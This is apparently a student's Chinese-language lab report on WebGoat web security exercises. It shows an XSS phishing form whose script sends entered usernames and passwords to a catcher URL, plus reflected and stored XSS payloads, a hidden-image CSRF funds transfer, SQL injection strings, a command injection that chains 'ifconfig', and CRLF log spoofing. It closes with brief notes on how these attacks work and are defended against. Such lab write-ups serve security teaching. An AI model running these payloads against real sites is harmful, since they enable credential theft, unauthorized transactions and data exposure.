20145335郝昊《网络攻防》Exp9 Web安全基础实践
20145335郝昊《网络攻防》Exp9 Web安全基础实践
实验内容
理解常用网络攻击技术的基本原理。
完成WebGoat实践下相关实验
实验步骤
XSS注入攻击
#######Phishing with XSS
这个XSS攻击比较简单,需要的是在网页的文本框里写一个钓鱼网站,仔细读给的题目就可以分析出来(但是英语四级没过的我很伤=_=)
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
之后点击提交,结果如下
#######Stored XSS Attacks
这个是XSS攻击相对于简单一些的,要注意message的语法,输入命令
<script> alert("输入你想输入的内容"); </script>
其中alert函数就相当于c中的printf
函数,注意其用法在message里输入的效果如下图
########Reflected XSS Attacks
根据题目的提示,需要在文本框中数输入
http://www.targetserver.com/search.asp?input=<script>alert("hello 5335");</script>
之后提交到,显示结果如下
- 注意:这个实验结果看起来和上面的挺相似,但是中间的过程是不同的,上面的是存储式的,这个是通过写在url里面达到的效果,里面的脚本也可以改写成其他恶意的内容
CSRF攻击
#######Cross Site Request Forgey
同样先别着急做题目,先查找一些题目中所给出的有效信息,因为后面会用到从题目所给出的一条语句,也就是解这道题目和之后csrf题目的关键
通过题目可以分析出来,发送邮件,其中有个包含XSRF页面的请求的图像,但是这个图像需要隐藏。可以得到一条语句
<img src=!attack?Screen=!&menu=!&transferFunds=!' width='1' height='1'>
分析题目可以得到需要得到这四个感叹号的值。第一个是第一个要输入的是哪个网站的attack,这里由于指向本网址,所以可以不填。、第二、三个感叹号值需要在网站里面寻找。第四个是指你让被攻击这想转多少前,这个就可以自己定。其中第二三个值在网页下面有一个表名为
Parameters
的表格,里面列出了所需要的src
的值和menu
的值,对于不同的电脑的值是不同的。所以我的代码应该是<img src='attack?Screen=283&menu=900&transferFunds=5335' width='1' height='1'>
下一步就是在网页中填写message,添加一个title,之后随便写点内容,在把代码贴进去,点击发送
之后在,在下面的MeaasgeLsit里点击一下,这个题目就完成了。操作步骤如下
- 这个练习主要目的是让我们学会如何使用CSRF,用户在通过身份认证登录银行的网站A时,浏览器拿到了银行网站的cookies。接下来用户在A网站开着的情况下访问了B网站,这个B网站隐藏在图片里面,而图片又是不可见的,隐藏在Message里面。说明用户在不知情的情况下打开了邮件,顺便打开了B网站!B网站给A网站发送恶意请求,在A网站还开着的情况下,浏览器会误以为是用户发送请求,然后就会带着cookies和B网站发送的请求(例如转钱等)访问A网站执行!
########Prompt By-pass
通过分析题目,这个和上一个挺相似,但是增加了一个新的恶意请求:一个是赚钱的金额,另一个是确认。
根据上一个可以分析出来这个题目也是需要将信息伪装到邮件当中的,只不过这次需要两份邮件来完成,邮件中嵌入的代码和上一个类似,只不过第二个邮件需要将参数
transferFunds
从转账金额改为CONFIRM
(其他的参数不变依然从自己的网页中寻找答案),之后发送两份邮件,点击第二封有邮件,可以发现完成了这个题目。
#######HTTPOnly Test
- 这个实验也是运气还不错,点击yes 和 Read Cookie。
SQL练习
首先做关于sql注入练习的时候需要用到kali自带的软件Burpsuite。有些需要进行注入,但是显然网页是无法注入的,此时就需要从捕获 包中修改信息进行注入。在使用软件的时候有些选项需要修改和配置。
首先打开软件,next->start打开软件。
设置代理
Proxy->Optiuons
选项,进行修改。默认是8080端口,但被占用需要添加一个新的端口,点击add,如下图所示
- 此时改完以后还需要对火狐浏览器进行修改,即需要修改为数据包通过这个软件流通,不然设置好了也抓不上数据包。如下图所示
在settings 里将
No proxy
修改为Manual proxy configuations
并写入本机ip地址,和ip端口。注意:在做完实验记得将火狐浏览器的偏好设置关掉,不然无法正常上网
#######String SQL Injection这个题目第8周实验的题目有些类似,因为题目的意思是通过SQL注入让所有信用卡号都看得见。题目最后一句话是 Try the user name of 'Simth'可以看出来尝试输入名字就可以得到其信用卡信息(当然我试了我自己的名字显然是没有我的信息=_=)
那么解题的方式就在于构造一个永远都成立的式子,即构造一个语句
'or 1='1
,这样这道题目就迎刃而解。
#######Numeric SQL Injection
根据题目进行分析 ,利用SQL注入使得可以看见所有所需要的数据,但是不同的是上一个可以在网站有输入框可以直接注入,但是这个不可以,就需要利用软件来抓包并修改数据。
打开之前所说的软件并配置
设置好之后回到题目,点击GO,再回到软件中,就可以发现捕获到的数据包
- 之后在上图截获的数据中右键
send to repeater
之后修改station
的值,从103
修改为103 or 1=1
- 点击GO,可以看到右边response包中的SQL语句为
SELECT * FROM weather_data WHERE station = 103 or 1=1
正好是我们想要的。
- 回到proxy,点击Intercept is on 发现这个题目完成了。
########Command Injection
同样先看题目,确定题目需要让我们干什么,经过分析,同样是注入命令行。
之前对于软件的的配置是与上一题是一样的先点击网页,看看能抓到什么包。
- 我们发现可改部分是使用了命令行cat语句。注入的命令是
AccessControlMatrix.help"&&ifconfig"
,解释一下,前面是原来的正常命令。而&&在命令行中是执行另外一条语句,最后一个双引号用来封闭原来的双引号!再次点击GO发现执行了ifconfig语句
- 回到网页,发现这倒实验题目成功
#######Log Spoofing
这道题目目的是让我们伪造一个假的日志信息,欺骗过去
在
user name
一栏里输入%0d%0aLogin Succeed fo
密码我输入了学号,就成功了。
实验问答
SQL注入攻击原理?如何防御?
攻击原理:利用自己构造的sql语句来达到自己的(恶意)请求或访问,从中获取到一些不是自己所得到的信息。比如对原有数据库的非法修改和添加等基本操作。
防御方法:因为在注入攻击是输入sql语句的,是需要很长的输入,可以通过输入规则限制来防范,除需要的字符外,其他类型的字符不允许输入
XSS攻击原理?如何方法?
攻击原理:是跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码写在url或者数据库存储里面,通过其他工具诱使别人访问从而运行代码。
防御方法:与sql相似,对于输入规则进行控制,除一些需要的特殊字符外,其他的字符不能被输入或者限制输入。或者对于输入进行过滤。
CSRF攻击原理?如何防御?
攻击原理:CSRF中的R是指request,恶意的请求,比xss还具危险信,是一种对网站的恶意利用,将一些恶意请求夹杂在邮件或其工具中传播,进行一些非常危险的冒名操作
防御方法:对于一些不确定的信息,最好使用类似于验证码的方式来确认对方身份,对于用户修改删除等操作最好避免全站通用的cookie,严格设置cookie的域。
实验中遇到的问题
- 在最开始解压压缩包的时候,卡在了一步运行不下去,问了课题负责人,他说他也没见过,不知道为什么,很难受
- 后来问题解决了,是因为8080端口被占用的,被apapche2占用了,导致在解压的时候出了问题,后来kill 了进程号,就解压成功了
心得体会
总的来说这次实验如果能很好的理解上一次实验的基础,这次实验还是比较好做的。在这次实验第一个遇到的问题上面也提过,真的搞了好久,后来发现却是因为一个小问题。在开始做题的时候总是会磕磕绊绊,发现是对于题目理解的不透彻,如果对于题目不理解,那根本不知道题目的解题思路是什么,更别说车成功做出题目了借助周岐浩同学的博客对于做的题目有所了解(当然了我和他做的大部分题目还是不一样的)。在做csrf时候命令里!代表的数字始终寻找不到,或者找到是错误的,在仔细阅读题目的要求后发现是在网页下面表格中有给出。在做题的时候需要把握住sql注入是注入恶意代码或命令就需要有注入的地方,理解题意,网站上没有注入的地方就从后台注入,包括老师上课掩饰的键入f12打开网页源代码进行注入等等,总是一类题目会有一类的共同点,这对于解题也会有一点帮助。
20145335郝昊《网络攻防》Exp9 Web安全基础实践的更多相关文章
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 《网络攻防》Web安全基础实践
20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...
- 20155304 《网络对抗》Exp9 web安全基础实践
20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...
- 20155306白皎 《网络对抗》 Exp9 Web安全基础实践
20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- 20155202《网络对抗》Exp9 web安全基础实践
20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...
随机推荐
- LinkedList ArrayList 比较
小结: 1.不是同步的,多线程情况下的处理 List list = Collections.synchronizedList(new LinkedList(...)); 2. 快速失败.并发修改异常 ...
- upower xdisplay--nvidia -vga---cpu info
grep 'physical id' /proc/cpuinfo | sort -u | wc -l grep 'core id' /proc/cpuinfo | sort -u | wc -l gr ...
- Linux的/etc/services文件的作用?
4)端口分配 Linux系统的端口号的范围为0–65535,不同范围有不同的意义. 0 不使用 1--1023 系统保留,只能由root用户使用 1024---4999 由客户端程序自由分配 5000 ...
- HTML_css选择器
第二种增加css样式的方法,可以在head中增加style标签,style中通过选择器定位标签增加css样式 CSS选择器分为六种: 1.id选择器 2.class选择器 3.标签选择器 4. ...
- paas容器云
- CF1053E Euler tour 构造
正解:构造 解题报告: 传送门! 这种题目一般都是首先考虑合法性 这题也不例外,思考怎么样是合法的呢? 有四点: 1)a[1]=a[2n-1],显然不说 2)若a[i]=a[j],则(j-i)& ...
- dedecms批量导出新增文章url和标题
百度站长工具推出主动提交功能有一段时间了,可以将新产出链接立即通过此方式推送给百度,以保证新链接可以及时被百度收录.那么dedecms如何批量导出新增文章url呢?你可以用标签调用最新文章,可以用sq ...
- Linuxer-"Linux开发人员自己的媒体"第五月稿件和赠书名单
版权声明:本文为博主原创文章.未经博主同意不得转载. https://blog.csdn.net/juS3Ve/article/details/78859630 Linuxer已经从一个单纯的读者服务 ...
- HTML5 脚本 语言代码 URL 符号实体 ASCII码 颜色
1.HTML<noscript> 标签 <noscript> 标签提供无法使用脚本时的替代内容,比方在浏览器禁用脚本时,或浏览器不支持客户端脚本时. <noscript& ...
- Spark Sort Based Shuffle内存分析
分布式系统里的Shuffle 阶段往往是非常复杂的,而且分支条件也多,我只能按着我关注的线去描述.肯定会有不少谬误之处,我会根据自己理解的深入,不断更新这篇文章. 前言 借用和董神的一段对话说下背景: ...